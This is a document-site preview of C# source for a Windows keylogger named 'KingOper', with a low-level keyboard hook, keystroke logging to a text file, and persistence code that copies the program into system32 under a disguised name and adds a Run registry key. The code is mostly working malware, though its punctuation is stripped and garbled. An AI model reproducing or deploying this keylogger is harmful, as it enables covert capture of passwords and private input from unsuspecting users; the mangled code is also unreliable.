全文预览已结束
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
HCode=C#/Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper public enum KeyboardEvents KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 StructLayout(LayoutKind.Sequential) public struct KeyboardHookStruct public int vkCode; /表示一个在1到254间的虚似键盘码 public int scanCode; /表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); public class Hook public event KeyboardEventHandler KeyboardEvent; public enum HookType WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); private IntPtr instance; private IntPtr hookHandle; private int threadID; private HookProc hookProcEx; public Hook() this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0); this.threadID = 0; hookHandle = IntPtr.Zero; hookProcEx = new HookProc(hookProc); public bool SetHook() this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return (int)hookHandle != 0); public IntPtr hookProc(int code, int wParam, IntPtr lParam) if(code = 0) KeyboardEvents kEvent = (KeyboardEvents)wParam; if (kEvent != KeyboardEvents.KeyDown & kEvent != KeyboardEvents.KeyUp & kEvent != KeyboardEvents.SystemKeyDown & kEvent != KeyboardEvents.SystemKeyUp) return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; KeyboardEvent(kEvent, keyData); return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); public bool UnHook() return Hook.UnhookWindowsHookEx(this.hookHandle); /RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper public class RegistryReport public RegistryReport() public void MoveFile() if(!File.Exists(c:windowssystem32_system.exe) File.Move(Application.ExecutablePath,c:windowssystem32_system.exe); else return; public void registryRun() RegistryKey key1=Registry.CurrentUser.CreateSubKey(SoftwareMicrosoftWindowsCurrentVersionrun); key1.SetValue(,c:windowssystem32_system.exe); key1.Close(); /Report.cs代码using System;using System.IO;namespace KingOper public class Report public Report() public void FirstWrite() StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(* LittleStudio Studio * ); sw.WriteLine(* + DateTime.Today.Year.ToString() + . + DateTime.Today.Month.ToString() + . + DateTime.Today.Day.ToString() + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString() + *); sw.Close(); public void WriteDate(string keyEvents,string keyDate) try StreamWriter sw = new StreamWriter(c:/keyReport.txt,true); sw.WriteLine(keyDate + 键 + keyEvents + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString(); sw.Close(); catch return; test_Load调用的实现private Hook MyHook=new Hook(); private Report MyReport=new Report(); private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e) MyRegistryReport=new RegistryReport(); this.MyRegistryReport.MoveFile(); this.MyRegistryReport.registryRun(); this.MyReport.FirstWrite(); this.MyHook.SetHook(); this.MyHook.KeyboardEvent += new KeyboardEventH
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024年唐山申请客运从业资格证理论考试题
- 2024年枣庄办理客运从业资格证模拟考试
- 制定应急预案的步骤计划
- 专利申请委托合同三篇
- 急诊优先级管理策略计划
- 小学信息技术四年级上册第3课《制作课程表》教案
- 影视拍摄基地租赁合同三篇
- 关注社区精神文明建设的实践计划
- 人教版地理八下7.4祖国的神圣领土-台湾省 教案
- 幼儿园美术课题亲子活动方案(6篇)
- 大学英语新生第一课课件
- 红酒演示文稿精品课件
- 康复中心项目立项建设可行性研究报告
- 建筑垃圾消纳台账
- 人教人音版一年级音乐上册《拉勾勾》课件
- 中班美术综合活动《送给祖国妈妈的礼物》
- 部编版语文六年级下册教案及教学反思(全册)
- 幼儿园大班语言风来了雨来了教案反思
- 《西方音乐史》课件海顿
- 新优质学校创建自评报告PPT模板课件
- 2022年四川省广元市中考模拟语文试题[含答案]
评论
0/150
提交评论